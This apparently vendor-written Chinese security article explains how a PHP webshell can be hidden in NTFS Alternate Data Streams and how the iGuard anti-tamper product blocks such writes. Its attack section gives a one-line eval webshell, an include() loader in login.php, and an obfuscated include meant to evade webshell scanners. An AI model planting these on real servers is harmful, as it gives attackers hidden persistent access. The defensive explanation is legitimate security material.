运用iGuard防御ADS权限维持
权限维持是一门庞大的学问,当服务器被攻入并被获得主机权限后,往往会想尽办法隐藏其攻入途径以维持权限。权限维持的一般手段包括构造文件包含漏洞、构造远程任意代码执行漏洞、构造 SQL 注入点、利用系统自启动后门和隐藏 Webshell 等。本文介绍如何利用 ADS 数据流隐藏 WebShell,以及如何利用 iGuard 防御 ADS。
# 一、NTFS文件系统 & ADS特性
## 1. NTFS/ADS 是什么?
**NTFS (New Technology File System)** 是微软公司开发的文件系统。自 Windows NT 3.1 开始,NTFS 就是 Windows NT 系列操作系统的默认文件格式。Linux 和 BSD 环境下也有免费和开源版的 NTFS 驱动——NTFS-3G。和老的 FAT 文件系统相比,其提供了对元数据 (**metadata**) 和高级数据的更多支持,在性能、可靠性和磁盘使用上也多有改进。在安全扩展方面,它对 ACL 名单和文件系统日志扩展支持也更全面。
NTFS 引入了一个文件流的概念,即 **ADS (Alternate Data Stream)** 。尽管在未来的文件系统中可能不被支持,但在 Windows NT 系列未来版本的 NTFS 系统中,ADS 将会继续得到支持。该机制最常见的使用场景是当微软 Internet Explorer 浏览器在下载一些对安全有隐患的敏感文件时,会自动给这些文件加上一个「Zone.Identifier」的 ADS 流,在里面记录该文件的下载来源。后续在系统执行这些文件时,如果发现有这个「Zone.Identifier」ADS 流标记,就会询问用户,这是一个有安全隐患的文件,是否确认要执行。用户确认后,操作系统会彻底清除该文件的「Zone.Identifier」ADS 流,后续不再出现警告提示。后来,其他浏览器也跟进了该特性。如下截图里,就显示了一个下载文件的 ADS 流标记,可以看出其下载来源:
![pic](https://www.icode9.com/i/ll/?i=20190528115637153.png#pic_center)
而默认使用 Windows 资源管理器浏览文件时,并不会显示文件的 ADS 流信息和大小。使用某些命令行工具或 Powershell,配合特定的参数,能看到相关的信息(详见下文)。微软的 Sysinternal 工具套装里,提供了一款名为 "Streams" ([下载地址](https://docs.microsoft.com/zh-cn/sysinternals/downloads/streams)) 的工具,专门用于查看和删除 ADS 流信息。
由于 ADS 流具有这种比较隐晦的特性,恶意软件和网页***便盯上这一机制,并用这个机制隐藏恶意代码,逃避检测。
## 2. ADS 怎么用?
Windows NT Resource Kit 文档中描述的 ADS 语法如下:
```
filename:stream
```
可以把 ADS 流理解为文件的一个额外属性,这个属性的名称就是上述定义里冒号后 stream 的部分,该名称可以*选择。同时,一个文件可以对应多个不同名的 ADS 流属性,只要冒号后面的名称不一样。不同名称的 ADS 流拥有自己独立的内容。
如向一个网页文件 (index.php) 写入名为「th000.jpg」的 ADS 流 (写入的内容实际上是PHP一句话***):
```php
echo ^<?php eval($_GET['test']); ?^> >index.php:th000.jpg
```
用 `more` 命令行查看 index.php 文件的「th000.jpg」ADS 流(小提示:用 `type` 命令无法查看 ADS 流):
```php
// 查看隐藏文件内容
more < index.php:th000.jpg
```
以上两条命令的执行结果见截图:
![pic](https://www.icode9.com/i/ll/?i=20190528115842322.png#pic_center)
也可以用记事本程序,像打开普通文件一样,输入完整 `filename:stream` 路径,查看具体内容:
```php
notepad index.php:th000.jpg
```
甚至,我们可以向一个目录设置额外的 ADS 流属性。如执行以下命令,可对当前目录添加一个名为「hidden.txt」的 ADS 流。
```php
echo test> :hidden.txt
```
用 `dir/R` 参数,除了普通文件,也会列出文件的 ADS 流。如下 `dir/R` 命令的执行结果能看出来,部分文件如「nginx.conf」有不止一个 ADS 流:
![pic](https://www.icode9.com/i/ll/?i=20190528115912578.png#pic_center)
# 二、如何利用ADS特性隐藏恶意文件
在利用 ADS 流隐藏恶意文件上,比较常见的两个方向是针对二进制文件和网页文件。
如对二进制文件,可以把一个可执行文件的内容,附加到另一个可执行文件上,执行时则以 ADS 引用的方式执行,获得隐藏文件的执行权限。如以下示例:
```php
C:\> type C:\windows\system32\notepad.exe > c:\windows\system32\calc.exe:notepad.exe
C:\> start c:\windows\system32\calc.exe:notepad.exe
```
在 Web 方面,早期的 IIS 有利用 ADS 属性,获得 asp 源代码的漏洞。但这个漏洞比较古早,现在不太常见。另一种方式是,把网页***的内容,附加到一个正常网页的 ADS 属性里,如:
```php
type webshell.php > index.php:th000.jpg
```
然后在另一个常规的 php 文件里,如 `login.php` 里加入如下代码,把上述的 ADS 内容包含到常规 php 页面内,利用 php `include()` getshell:
```php
<?php
include('index.php:th000.jpg');
?>
```
这样在访问 http://域名`/login.php` 时,实际上潜藏在 `index.php:th000.jpg` 里的网页***就获得了执行。
当然,这个方式也略有缺陷,如果网站上有深度 WebShell 查杀工具,有可能被发现。这时候可以把附加到 ADS 部分的代码写得更有迷惑性,以绕过检测,举例如下:
```php
<?php
$token = "3a74683030" . "302e6a7067";
$index = pack('C*' ,105 ,110 ,100 ,101 ,120 ,46 ,112 ,104 ,112);
$usr_id = $index . pack('H*' ,$token);
$welcome_page = 'usr_id';
include($$welcome_page);
?>
```
# 三、防御ADS数据流隐藏Webshell的手法
无论如何利用 ADS 隐藏 shell,最终都离不开写入数据这一过程,利用网页防篡改系统可以有效地针对这一手法。网页防篡改软件是用于保护服务器关键文件不受篡改 (阻止或自动恢复) 的一种软件。使用 **iGuard 网页防篡改系统**,可以有效地阻止利用 ADS 数据流隐藏 WebShell 的行为。
这里以 nginx+php 为示例,想要阻止 ADS 写入数据其实很简单,正常使用 iGuard 中的 iLocker 模块保护文件目录即可。
1. **命令行执行** `start nginx` **启动服务器**
2. **命令行执行** `tasklist/v|findstr nginx`
(可观察到此时nginx的启动用户为Administrator,这并不是一个安全的启动方式。)
```php
nginx.exe 3692 Console 1 4,836 K Unknown WIN-JMACK3FAL1V\Administrator 0:00:00 暂缺
nginx.exe 1108 Console 1 5,088 K Unknown WIN-JMACK3FAL1V\Administrator 0:00:00 暂缺
```
3. **控制面板新建非管理员用户 nginx 后,尝试使用用户** `nginx` **启动nginx服务。**
```php
//runas 是windows系统自带能以其他用户执行程序的命令
//runas [option] /user:domain\username program
runas /noprofile /user:WIN-JMACK3FAL1V\nginx cmd
cd dir/nginx_dir
start nginx
tasklist /v |findstr nginx
```
此时可观察到nginx进程以用户 `nginx` 启动:
![pic](https://www.icode9.com/i/ll/?i=20190528120218418.png#pic_center)
4. **使用 iLocker 模块限制用户** `nginx` **的行为,由于使用的是一个特殊的账户,甚至可以限制该账户对全盘文件的修改权限,但须注意保留相关日志的写入权限。**
![pic](https://www.icode9.com/i/ll/?i=2019052812030493.png#pic_center)
5. **此时用户** `nginx` **无法通过 ADS 数据流将数据写入受保护的目录。**
![pic](https://www.icode9.com/i/ll/?i=2019052812033179.png#pic_center)
(席文 | 天存信息)
***Ref***
1. [*NTFS*](https://en.wikipedia.org/wiki/NTFS)
2. [*How To Use NTFS Alternate Data Streams*](https://support.microsoft.com/en-us/help/105763/how-to-use-ntfs-alternate-data-streams)